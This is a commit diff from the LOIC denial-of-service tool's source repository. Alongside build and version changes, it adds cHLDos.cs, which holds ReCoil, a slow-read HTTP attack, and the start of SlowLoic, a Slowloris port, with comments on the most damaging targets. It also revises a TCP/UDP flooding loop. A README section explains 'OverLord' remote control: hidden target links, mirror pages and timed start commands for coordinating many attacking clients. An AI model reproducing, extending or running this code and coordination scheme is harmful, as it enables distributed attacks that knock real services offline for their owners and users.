+Full-text search=Yes
+Index file=Index.hhk
+Language=0x409 Englisch (USA)
+Title=LOIC's NewFag Help
+
+[WINDOWS]
+NewFag="LOIC's NewFag Help","Table of Contents.hhc","Index.hhk","HTML\newfag.html","HTML\index.html",,,,,0x62520,240,0x307e,[0,0,800,600],,,,,2,,0
+
+
+[FILES]
+HTML\index.html
+HTML\about.html
+HTML\LOIC.gif
+HTML\newfag.html
+HTML\hivemind.html
+HTML\http.html
+HTML\overlord.html
+HTML\recoil.html
+HTML\slowloic.html
+HTML\switches.html
+HTML\tcp.html
+
+[INFOTYPES]
+
View
16 IRC/IRC.csproj
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="3.5" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
@@ -10,27 +10,35 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>IRC</RootNamespace>
<AssemblyName>IRC</AssemblyName>
- <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
+ <TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
+ <FileUpgradeFlags>
+ </FileUpgradeFlags>
+ <OldToolsVersion>3.5</OldToolsVersion>
+ <UpgradeBackupLocation />
+ <TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\bin\Debug\</OutputPath>
- <DefineConstants>DEBUG;TRACE</DefineConstants>
+ <DefineConstants>DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\bin\Release\</OutputPath>
- <DefineConstants>TRACE</DefineConstants>
+ <DefineConstants>
+ </DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
</PropertyGroup>
<ItemGroup>
<Reference Include="log4net, Version=1.2.10.0, Culture=neutral, PublicKeyToken=1b44e1d426115821, processorArchitecture=MSIL" />
View
BIN IRC/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary file not shown.
View
5 IRC/obj/Debug/IRC.csproj.FileListAbsolute.txt
@@ -0,0 +1,5 @@
+Z:\loic_1119_\source\bin\Debug\IRC.dll
+Z:\loic_1119_\source\bin\Debug\IRC.pdb
+Z:\loic_1119_\source\IRC\obj\Debug\ResolveAssemblyReference.cache
+Z:\loic_1119_\source\IRC\obj\Debug\IRC.dll
+Z:\loic_1119_\source\IRC\obj\Debug\IRC.pdb
View
BIN IRC/obj/Debug/IRC.dll
Binary file not shown.
View
BIN IRC/obj/Debug/IRC.pdb
Binary file not shown.
View
BIN IRC/obj/Debug/ResolveAssemblyReference.cache
Binary file not shown.
View
BIN IRC/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
Binary file not shown.
View
5 IRC/obj/Release/IRC.csproj.FileListAbsolute.txt
@@ -0,0 +1,5 @@
+Z:\loic_1119_\source\bin\Release\IRC.dll
+Z:\loic_1119_\source\bin\Release\IRC.pdb
+Z:\loic_1119_\source\IRC\obj\Release\ResolveAssemblyReference.cache
+Z:\loic_1119_\source\IRC\obj\Release\IRC.dll
+Z:\loic_1119_\source\IRC\obj\Release\IRC.pdb
View
BIN IRC/obj/Release/IRC.dll
Binary file not shown.
View
BIN IRC/obj/Release/IRC.pdb
Binary file not shown.
View
29 LOIC.csproj
@@ -1,5 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="3.5" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
@@ -10,15 +10,20 @@
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>LOIC</RootNamespace>
<AssemblyName>LOIC</AssemblyName>
- <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
+ <TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<ApplicationIcon>LOIC.ico</ApplicationIcon>
<StartupObject>LOIC.Program</StartupObject>
+ <FileUpgradeFlags>
+ </FileUpgradeFlags>
+ <OldToolsVersion>3.5</OldToolsVersion>
+ <UpgradeBackupLocation />
+ <TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
- <Optimize>false</Optimize>
+ <Optimize>true</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>
</DefineConstants>
@@ -27,21 +32,31 @@
<PlatformTarget>x86</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
- <DebugType>pdbonly</DebugType>
+ <DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>
</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
+ <Reference Include="System.Data" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
+ <Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
+ <Compile Include="cHLDos.cs" />
+ <Compile Include="frmEZGrab.cs">
+ <SubType>Form</SubType>
+ </Compile>
+ <Compile Include="frmEZGrab.Designer.cs">
+ <DependentUpon>frmEZGrab.cs</DependentUpon>
+ </Compile>
<Compile Include="frmMain.cs">
<SubType>Form</SubType>
</Compile>
@@ -57,6 +72,9 @@
<Compile Include="HTTPFlooder.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
+ <EmbeddedResource Include="frmEZGrab.resx">
+ <DependentUpon>frmEZGrab.cs</DependentUpon>
+ </EmbeddedResource>
<EmbeddedResource Include="frmMain.resx">
<DependentUpon>frmMain.cs</DependentUpon>
<SubType>Designer</SubType>
@@ -79,6 +97,7 @@
</ItemGroup>
<ItemGroup>
<Content Include="LOIC.ico" />
+ <None Include="app.config" />
<None Include="Resources\WTF.jpg" />
<None Include="Resources\LOIC.gif" />
</ItemGroup>
View
6 LOIC.csproj.user
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
+ <StartArguments>/overlord http://is.gd/gnHW9 /minimized</StartArguments>
+ </PropertyGroup>
+</Project>
View
5 LOIC.sln
@@ -1,6 +1,5 @@
-
-Microsoft Visual Studio Solution File, Format Version 10.00
-# Visual Studio 2008
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual C# Express 2010
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LOIC", "LOIC.csproj", "{54040692-D1B5-4910-B661-26651BD0EF18}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "IRC", "IRC\IRC.csproj", "{13896B76-B96B-48AC-9DC7-09982ECE3715}"
View
BIN LOIC.suo
Binary file not shown.
View
3 Properties/AssemblyInfo.cs
@@ -13,4 +13,5 @@
[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]
-[assembly: AssemblyVersion("1.1.1.9")]
+[assembly: AssemblyVersion("1.1.2.3")]
+[assembly: AssemblyFileVersionAttribute("1.1.2.3")]
View
26 Properties/Resources.Designer.cs
@@ -1,10 +1,10 @@
//------------------------------------------------------------------------------
// <auto-generated>
-// This code was generated by a tool.
-// Runtime Version:2.0.50727.5018
+// Dieser Code wurde von einem Tool generiert.
+// Laufzeitversion:4.0.30319.1
//
-// Changes to this file may cause incorrect behavior and will be lost if
-// the code is regenerated.
+// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
+// der Code erneut generiert wird.
// </auto-generated>
//------------------------------------------------------------------------------
@@ -13,13 +13,13 @@ namespace LOIC.Properties {
/// <summary>
- /// A strongly-typed resource class, for looking up localized strings, etc.
+ /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
/// </summary>
- // This class was auto-generated by the StronglyTypedResourceBuilder
- // class via a tool like ResGen or Visual Studio.
- // To add or remove a member, edit your .ResX file then rerun ResGen
- // with the /str option, or rebuild your VS project.
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+ // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert
+ // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert.
+ // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
+ // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
@@ -33,7 +33,7 @@ internal class Resources {
}
/// <summary>
- /// Returns the cached ResourceManager instance used by this class.
+ /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
@@ -47,8 +47,8 @@ internal class Resources {
}
/// <summary>
- /// Overrides the current thread's CurrentUICulture property for all
- /// resource lookups using this strongly typed resource class.
+ /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
+ /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
View
108 README
@@ -6,6 +6,12 @@ Low Orbit Ion Cannon - An open source network stress tool. Written in C#
Based on Praetox's loic project at https://sourceforge.net/projects/loic/.
================
+|| Help - dox ||
+================
+
+There is now an online help available. Press <F1>, read the .chm file or got in the source to the help/web folder and read there!
+
+================
|| DISCLAIMER ||
================
@@ -84,3 +90,105 @@ And remove "start" from topic (if exists)
You can also replace "start" by "stop" in the END of the topic.
Take a look at source for more details.
+
+==================================
+|| CONTROLING LOIC OVER THE WEB ||
+==================================
+
+>> Press <F10> for easy copy & paste of HiveMind / OverLord Settings <<
+
+
+The OverLord-Mode is meant as a Fail-Save mechanism to allow easy (de)centralised control in exactly the same way as HiveMind does.
+
+The information is encoded into hyperlinks and allows though an easy and secure distribution way.
+!!URL-Shortener and Redirectors are fully supported!!
+
+
+-SYNTAX-
+There are 3 Methods:
+---
+
+I. Plain-Text Links: can ONLY specify TARGETS
+"LOIC: {OL-URI}"
+
+---
+
+II: a-href Links:
+II.a: Back-Up Mirrors - they contain no target information and point to sites, where target are posted.
+'class="LO bu" href="{URI}"' - read diretion top to bottom
+'class="LO bu r" href="{URI}"' - read direcion bottom to top
+
+the read direction depends on the site: e.g. for twitter, where the newest post is on the top, you want to scan the site top-to-bottom for targets.
+On Blogs / Boards where the newest posts are at the bottom, you want to scan in the reverse direction.
+
+In the GUI the checkbox "Up?" scans top-to-bottom if checked and reverse otherwise.
+
+The scan stops at the first encountered target and uses this as the current target - all BackUp Mirrors up to this point are stored. (mirrors after the 1st target in read-direction are ignored)
+
+II.b: Target-Links
+'class="LO tar" href="{OL-URI}"'
+
+---
+
+III. Plain Text instruction (this is depreciated)
+"[LOIC]
+{command}:{value}
+{command}:{value}
+...
+[/LOIC]"
+
+if there is a "lot" of html-code merged into the text it is best to use the "@"-Delimeter:
+"[LOIC]@{command}:{value}@<html goes here>@{command}:{value}@......[/LOIC]"
+
+---------
+
+The URI-Syntax for Targets:
+{OL-URI} = {URI}@{command}={value}@{single_sign}@{command}={value}@...
+
+IT IS HIGHLY RECOMMENDED TO USE URL-SHORTENER FOR THE TARGET-COMMANDS!!
+
+---
+
+Commands: THESE APPLY ONLY TO TARGET-LINKS as in method II.b or PLAINT Text as in method III!!!!!
+(there are 2 new commands - the others are the same as on IRC)
+
+targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed
+
+hivemind - let's you set an Hive-Mind-Server over OverLord: @hivemind=irc.cooldomin.heros:6667#hivemind@
+if this command is used the control is immediately transferred to the HiveMind! (aka: OverLord STOPS working!)
+therefor the hivemind command is best used alone without other commands.
+
+time - you can set a timer for the beginning of the fun: @time=YYYY/MM/DD HH:mm@ (time-zone is UTC for the time - the time-zone-correction is done by the client according to the system-settings and time!)
+if a time command is issued the current attack stops and the Lazor waits until the time is reached. the target-information is updated once again EXACTLY at the beginning of the attack.
+
+Using this it is possible, to set a time for all "connected" lazors WITHOUT revealing the target:
+1. http://hive.mind/go.hp?@time=2010/05/23 15:00@
+at 14:55 (UTC) you just change the Link to: http://hive.mind/go.hp?@time=2010/05/23 15:00@&@targetip=127.0.0.1@
+
+-------------------
+
+... enough with the crap - a real world example:
+On site http://main.com is the command center where you don't want to post target-information:
+put somewhere on your site (in a .php / .txt / .html / .js or whatever file you have) the Back-Up-Mirrors for your OP:
+
+<a class="LO bu" href="http://somefree-hoster.com/url/yourbackup">&nbsp</a>
+<a class="LO bu" href="http://twitter.com/account">&nbsp</a>
+<a class="LO bu r" href="http://xyx.chan.com/b/1234">&nbsp</a>
+<a class="LO bu" href="http://bit.ly">&nbsp</a>
+
+As soon as one mirror fails the next is taken - the mirrors are accumulated at the client - so you can change them or add more atfer the majority of the nodes have read them once! .. Back-Up-Mirrors are only removed from the client, if one seems to be offline. (the effects of the Stress-Test on the client machine is (to some degree) mitigated!)
+
+it might be a good idea, to hide the "LO"-Class with a (inline-) CSS or put it into any hidden container ... or just leave as is :D
+
+ATTENTION: Backup Mirrors + Targets in one Page!
+Pay attention to the scan-direction! If you read top-to-bottom (Up? = checked in the GUI) you HAVE TO PUT your mirrors BEFORE the first target-link!
+if you scan reverse you have to put the mirrors BELOW the target!
+
+e.g. Scanning REVERSE + Mixed-Mode
+<html-code>
+<p>your very long paragraph LOIC: http://bit.ly/abcde your paragraph contniues on for ours</p>
+<more html>
+<a style="display:none" class="LO bu" href="http://bit.ly">&nbsp</a>
+<footer-stuff>
+
+that's pretty much it xD
View
72 XXPFlooder.cs
@@ -8,13 +8,14 @@ public class XXPFlooder
{
public bool IsFlooding { get; set; }
public int FloodCount { get; set; }
+ public int Failed { get; set; }
public string IP { get; set; }
public int Port { get; set; }
public int Protocol { get; set; }
public int Delay { get; set; }
public bool Resp { get; set; }
public string Data { get; set; }
- private bool random;
+ private bool random;
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
@@ -25,6 +26,8 @@ public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string d
this.Resp = resp;
this.Data = data;
this.random = random;
+ this.FloodCount = 0;
+ this.Failed = 0;
}
public void Start()
{
@@ -53,39 +56,52 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
Socket socket = null;
if (Protocol == 1)
{
- socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- socket.NoDelay = true;
- socket.Connect(RHost);
- socket.Blocking = Resp;
- try
- {
- while (IsFlooding)
- {
- FloodCount++;
- socket.Send(buf);
- if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
- }
- }
- catch { }
+ try
+ {
+ socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ socket.NoDelay = true;
+ socket.Connect(RHost);
+ socket.Blocking = Resp;
+ try
+ {
+ while (IsFlooding)
+ {
+ FloodCount++;
+ socket.Send(buf);
+ if (Delay > 0) System.Threading.Thread.Sleep(Delay);
+ }
+ }
+ catch { } // connection reset
+ }
+ catch
+ { // host unreachable
+ Failed++;
+ }
}
if (Protocol == 2)
{
- socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- socket.Blocking = Resp;
- try
- {
- while (IsFlooding)
- {
- FloodCount++;
- socket.SendTo(buf, SocketFlags.None, RHost);
- if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
- }
- }
- catch { }
+ socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
+ socket.Blocking = Resp;
+ try
+ {
+ while (IsFlooding)
+ {
+ FloodCount++;
+ socket.SendTo(buf, SocketFlags.None, RHost);
+ if (Delay > 0) System.Threading.Thread.Sleep(Delay);
+ }
+ }
+ catch
+ {
+ Failed++;
+ }
}
}
}
- catch { }
+ catch
+ {
+ IsFlooding = false;
+ }
}
}
}
View
3 app.config
@@ -0,0 +1,3 @@
+<?xml version="1.0"?>
+<configuration>
+<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
View
BIN bin/Debug/log4net.dll
Binary file not shown.
View
BIN bin/Release/log4net.dll
Binary file not shown.
View
508 cHLDos.cs
@@ -0,0 +1,508 @@
+/* collection of some upper layer protocol stress-testing
+ * loosely based on the slow-loris attempts and other low bandwidth attempts
+ *
+ * and always remember:
+ * if you hit your own server, it is called: stress-testing
+ * if you hit a server that is not yours, it is called: DOS-Attack
+ * if you want to test your server but are too stoned to enter your ip correctly,
+ * it is called: accident (and always blame it on the weed!)
+ *
+ * B²
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Net.Sockets;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace LOIC
+{
+ public abstract class cHLDos
+ {
+ public enum ReqState { Ready, Connecting, Requesting, Downloading, Completed, Failed };
+ public ReqState State = ReqState.Ready;
+
+ /// <summary>
+ /// Shows if all possible sockets are build.
+ /// TRUE as long as the maximum amount of sockets is NOT reached.
+ /// </summary>
+ public bool IsDelayed { get; set; }
+
+ /// <summary>
+ /// Amount of send requests.
+ /// </summary>
+ public int Requested { get; set; }
+ /// <summary>
+ /// Amount of received responses / packets.
+ /// </summary>
+ public int Downloaded { get; set; }
+ /// <summary>
+ /// Amount of failed packets / requests.
+ /// </summary>
+ public int Failed { get; set; }
+
+ /// <summary>
+ /// set or get the current working state.
+ /// </summary>
+ public bool IsFlooding { get; set; }
+ /// <summary>
+ /// the time in milliseconds between the creation of new sockets
+ /// </summary>
+ public int Delay { get; set; }
+ /// <summary>
+ /// the timeout in seconds between requests for the same connection.
+ /// </summary>
+ public int Timeout { get; set; }
+
+ public virtual void start()
+ { }
+
+ public virtual void stop()
+ {
+ IsFlooding = false;
+ IsDelayed = true;
+ }
+
+ // override this if you want to test the settings before spreading the word to the hivemind!
+ // should make a single connection and check for the expected outcome!
+ public virtual bool test()
+ {
+ return true;
+ }
+ }
+
+ /// <summary>
+ /// ReCoil basically does a "reverse" DDOS
+ /// Requirements: the targeted "file" has to be larger than 24 KB (bigger IS better ;) !)
+ /// </summary>
+ /// <remarks>
+ /// it sends a complete legimit request but throttles the download down to nearly nothing .. just enough to keep the connection alive
+ /// the attack-method is basically the same as slowloris ... bind the socket as long as possible and eat up as much as you can
+ /// apache servers crash nearly in an instant. this attack however can NOT be mitigated with http-ready and mods like that.
+ /// this attack simulates sth like a massive amount of mobile devices running shortly out of coverage (like driving through a tunnel)
+ ///
+ /// due to the nature of the congestian-response this could maybe taken a step further to self-feeding congestion-cascades
+ /// if done "properly" in a distributed manner together with packet-floods.(??)
+ ///
+ /// Limitations / Disadvantages:
+ /// this does NOT work if you are behind anything like a proxy / caching-stuff.
+ /// in this implementation however we are bound to the underlying system-/net-buffers ...
+ /// due to that the required size of the targeted file differs -.-
+ /// Dataflow: {NET} --> {WINSOCK-Buffer} --> ClientSocket .. so we have to make sure the actual data exceeds
+ /// the winsock-buffer + clientsocket-buffer, but we can ONLY change the latter.
+ /// from what i could find on a brief search / test the winsock buffer for a 10/100 links lies around 16-18KB
+ /// where 1 GBit links have an underlying buffer around 64KB (size really does matter :P )
+ ///
+ /// what to target?:
+ /// although it might makes sense to target pictures or other large files on the server this doesn't really makes sense!
+ /// the server could (and in most cases does - except for apache) always read directly from the file-stream resulting in nearly 0 needed RAM
+ /// --> always target dynamic content! this has to be generated on the fly / pulled fom a DB
+ /// and therefor most likely ends up in the RAM!
+ ///
+ /// high-value targets / worst case szenario:
+ /// as it seems the echo statement in php writes directly to the socket .. considering this it should be possible to
+ /// take down the back-end infrastructure if the page does an early flush causing the congestation while still holding DB-conns etc.
+ /// </remarks>
+ public class ReCoil : cHLDos
+ {
+ private string _dns;
+ private string _ip;
+ private int _port;
+ private string _subSite;
+ private bool _random;
+ private bool _usegZip;
+ private bool _resp;
+
+ private int _nSockets;
+ private List<Socket> _lSockets = new List<Socket>();
+
+ /// <summary>
+ /// creates the ReCoil object. <.<
+ /// </summary>
+ /// <param name="dns">DNS string of the target</param>
+ /// <param name="ip">IP string of a specific server. Use this ONLY if the target does loadbalancing between different IPs and you want to target a specific IP. normally you want to provide an empty string!</param>
+ /// <param name="port">the Portnumber. however so far this class only understands HTTP.</param>
+ /// <param name="subsite">the path to the targeted site / document. (remember: the file has to be at least around 24KB!)</param>
+ /// <param name="delay">time in milliseconds between the creation of new sockets.</param>
+ /// <param name="timeout">time in seconds between request on the same connection. the higher the better .. but should be UNDER the timout from the server. (30 seemed to be working always so far!)</param>
+ /// <param name="random">adds a random string to the subsite so that every new connection requests a new file. (use on searchsites or to bypass the cache / proxy)</param>
+ /// <param name="nSockets">the amount of sockets for this object</param>
+ /// <param name="usegZip">turns on the gzip / deflate header to check for: CVE-2009-1891 - keep in mind, that the compressed file still has to be larger than ~24KB! (maybe use on large static files like pdf etc?)</param>
+ public ReCoil(string dns, string ip, int port, string subSite, int delay, int timeout, bool random, bool resp, int nSockets, bool usegZip)
+ {
+ this._dns = (dns == "") ? ip : dns; //hopefully they know what they are doing :)
+ this._ip = ip;
+ this._port = port;
+ this._subSite = subSite;
+ this._nSockets = nSockets;
+ if (timeout <= 0)
+ {
+ this.Timeout = 30000; // 30 seconds
+ }
+ else
+ {
+ this.Timeout = timeout * 1000;
+ }
+ this.Delay = delay+1;
+ this._random = random;
+ this._usegZip = usegZip;
+ this._resp = resp;
+ IsDelayed = true;
+ Requested = 0; // we reset this! - meaning of this counter changes in this context!
+ }
+
+
+
+ public override void start()
+ {
+ IsFlooding = true;
+ var bw = new BackgroundWorker();
+ bw.DoWork += new DoWorkEventHandler(bw_DoWork);
+ bw.RunWorkerAsync();
+ }
+
+ private void bw_DoWork(object sender, DoWorkEventArgs e)
+ {
+ try
+ {
+ int bsize = 16;
+ int mincl = 16384; // set minimal content-length to 16KB
+ byte[] sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}HOST: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}{3}{1}", _subSite, Environment.NewLine, _dns, ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
+ byte[] rbuf = new byte[bsize];
+ State = ReqState.Ready;
+ var stop = DateTime.Now;
+
+ string redirect = "";
+ while (IsFlooding)
+ {
+ stop = DateTime.Now.AddMilliseconds(Timeout);
+ State = ReqState.Connecting; // SET STATE TO CONNECTING //
+
+ // forget about slow! .. we have enough saveguards in place!
+ while (IsDelayed && (DateTime.Now < stop))
+ {
+ var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ socket.ReceiveBufferSize = bsize;
+ try
+ {
+ socket.Connect(((_ip == "") ? _dns : _ip), _port);
+ socket.Blocking = _resp; // beware of shitstorm of 10035 - 10037 errors o.O
+ if (_random == true)
+ {
+ sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}HOST: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}Keep-Alive: 300{2}Connection: keep-alive{2}{4}{2}", _subSite, new Functions().RandomString(), Environment.NewLine, _dns, ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
+ }
+ socket.Send(sbuf);
+ }
+ catch { }
+
+ if (socket.Connected)
+ {
+ bool keeps = !_resp;
+ if (_resp)
+ {
+ do
+ { // some damn fail checks (and resolving dynamic redirects -.-)
+ if (redirect != "")
+ {
+ if (!socket.Connected)
+ {
+ socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ socket.ReceiveBufferSize = bsize;
+ socket.Connect(((_ip == "") ? _dns : _ip), _port);
+ }
+ sbuf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}HOST: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}{3}{1}", redirect, Environment.NewLine, _dns, ((_usegZip) ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : "")));
+ socket.Send(sbuf);
+ redirect = "";
+ }
+ keeps = false;
+ try
+ {
+ string header = "";
+ while (!header.Contains(Environment.NewLine + Environment.NewLine) && (socket.Receive(rbuf) >= bsize))
+ {
+ header += System.Text.Encoding.ASCII.GetString(rbuf);
+ }
+ string[] sp = header.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);
+ string[] tsp;
+ for (int i = (sp.Length - 1); i >= 0; i--)
+ {
+ tsp = sp[i].Split(':');
+ if ((tsp[0] == "Content-Length") && (tsp.Length >= 2))
+ { // checking if the content-length is long enough to work with this!
+ int sl = 0;
+ if (int.TryParse(tsp[1], out sl))
+ {
+ if (sl >= mincl)
+ {
+ keeps = true;
+ i = -1;
+ }
+ }
+ }
+ else if ((tsp[0] == "Transfer-Encoding") && (tsp.Length >= 2) && (tsp[1].ToLower().Trim() == "chunked"))
+ {
+ keeps = true; //well, what doo?
+ i = -1;
+ }
+ else if ((tsp[0] == "Location") && (tsp.Length >= 2))
+ { // follow the redirect
+ redirect = tsp[1].Trim();
+ i = -1;
+ }
+ }
+ }
+ catch
+ { }
+ } while ((redirect != "") && (DateTime.Now < stop));
+
+ if (!keeps)
+ Failed++;
+ }
+ if (keeps)
+ {
+ socket.Blocking = true; // we rely on this in the dl-loop!
+ _lSockets.Insert(0, socket);
+ Requested++;
+ }
+ }
+ if (_lSockets.Count >= _nSockets)
+ {
+ IsDelayed = false;
+ }
+ else if (Delay > 0)
+ {
+ System.Threading.Thread.Sleep(Delay);
+ }
+ }
+
+ State = ReqState.Downloading;
+ for (int i = (_lSockets.Count - 1); i >= 0; i--)
+ { // keep the sockets alive
+ try
+ {
+ // here's the downfall: if the server at one point decides to just discard the socket
+ // and not close / reset the connection we are stuck with a half-closed connection
+ // testing for it doesn't work, because the server than resets the connection in order
+ // to respond to the new request ... so we have to rely on the connection timeout!
+ if (!_lSockets[i].Connected || (_lSockets[i].Receive(rbuf) < bsize))
+ {
+ _lSockets.RemoveAt(i);
+ Failed++;
+ Requested--; // the "requested" number in the stats shows the actual open sockets
+ }
+ else
+ {
+ Downloaded++;
+ }
+ }
+ catch
+ {
+ _lSockets.RemoveAt(i);
+ Failed++;
+ Requested--;
+ }
+ }
+
+ State = ReqState.Completed;
+ IsDelayed = (_lSockets.Count < _nSockets);
+ if (!IsDelayed)
+ {
+ System.Threading.Thread.Sleep(Timeout);
+ }
+ }
+ }
+ catch
+ {
+ State = ReqState.Failed;
+ }
+ finally
+ {
+ IsFlooding = false;
+ // not so sure about the graceful shutdown ... but why not?
+ for (int i = (_lSockets.Count - 1); i >= 0; i--)
+ {
+ try
+ {
+ _lSockets[i].Close();
+ }
+ catch { }
+ }
+ _lSockets.Clear();
+ State = ReqState.Ready;
+ IsDelayed = true;
+ }
+ }
+ } // class ReCoil
+
+
+ /// <summary>
+ /// SlowLoic is the port of RSnake's SlowLoris
+ /// </summary>
+ public class SlowLoic : cHLDos
+ {
+ private string _dns;
+ private string _ip;
+ private int _port;
+ private string _subSite;
+ private bool _random;
+ private bool _randcmds;
+ private bool _useget;
+ private bool _usegZip;
+
+ private int _nSockets;
+ private List<Socket> _lSockets = new List<Socket>();
+
+ /// <summary>
+ /// creates the SlowLoic / -Loris object. <.<
+ /// </summary>
+ /// <param name="dns">DNS string of the target</param>
+ /// <param name="ip">IP string of a specific server. Use this ONLY if the target does loadbalancing between different IPs and you want to target a specific IP. normally you want to provide an empty string!</param>
+ /// <param name="port">the Portnumber. however so far this class only understands HTTP.</param>
